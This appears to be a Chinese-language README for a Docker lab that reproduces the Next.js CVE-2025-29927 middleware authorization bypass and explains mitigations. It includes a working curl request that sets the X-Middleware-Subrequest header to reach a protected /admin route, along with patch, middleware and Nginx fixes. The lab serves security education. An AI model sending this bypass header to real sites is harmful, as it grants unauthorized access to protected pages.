此仓库包含一个基于 Docker 的实验环境,用于在受控设置中探索和演示 Next.js CVE-2025-29927 漏洞。
⚠️ 免责声明: 此实验室仅用于教育和安全研究目的。请勿将其暴露于公共互联网或用于生产环境。
确保已安装以下软件:
按照以下步骤克隆并运行实验室:
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
docker-compose up --build
这将:
.
├── app/ # 主要的 Next.js 应用代码
├── public/ # 静态资产(图片等)
├── Dockerfile # 应用程序的 Docker 设置
├── docker-compose.yml # Compose 配置
├── .env # 环境变量(如有)
├── README.md # 你在这里
⚠️ 警告:本文档仅供教育和安全研究使用。请勿在生产环境中部署存在漏洞的应用程序。
CVE-2025-29927 是 Next.js 中间件中的一个严重授权绕过漏洞。它允许攻击者通过操纵 X-Middleware-Subrequest 标头来跳过基于中间件的身份验证,进而访问受保护的路由。
尝试直接访问受保护的路由(例如 /admin),不提供任何身份验证:
curl http://localhost:3000/admin
预期行为:访问被拒绝或重定向到未授权页面。
漏洞行为:无需身份验证即可访问。
X-Middleware-Subrequest 标头绕过中间件发送带有 X-Middleware-Subrequest 标头的请求以绕过中间件检查:
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
结果:中间件被绕过,成功访问受保护路由。
将 Next.js 更新至以下已修复漏洞的版本之一:
npm install next@latest
增强中间件以正确验证请求,并拒绝任何带有可疑标头的请求:
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('Unauthorized', { status: 401 });
}
// 继续正常处理
return NextResponse.next();
}
如果使用反向代理(例如 Nginx),请配置其从传入请求中移除 X-Middleware-Subrequest 标头:
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
此 VULNERABILITY.md 文件提供了在受控环境中理解并复现 CVE-2025-29927 漏洞的全面指南。同时提供了实用的缓解策略,以保护你的 Next.js 应用程序免受此类攻击。
如需详细了解此漏洞,可参考 Techtalkpine 在博客文章中提供的完整攻击演示,该博客文章也链接了 YouTube 直播演示:https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
如果你在设置过程中需要任何帮助,或对缓解步骤有进一步疑问,请随时告知。
停止并移除容器:
docker-compose down
本项目仅用于教育和研究目的。你有责任在使用时遵守所有适用法律和道德准则。作者对任何滥用或造成的损害不承担责任。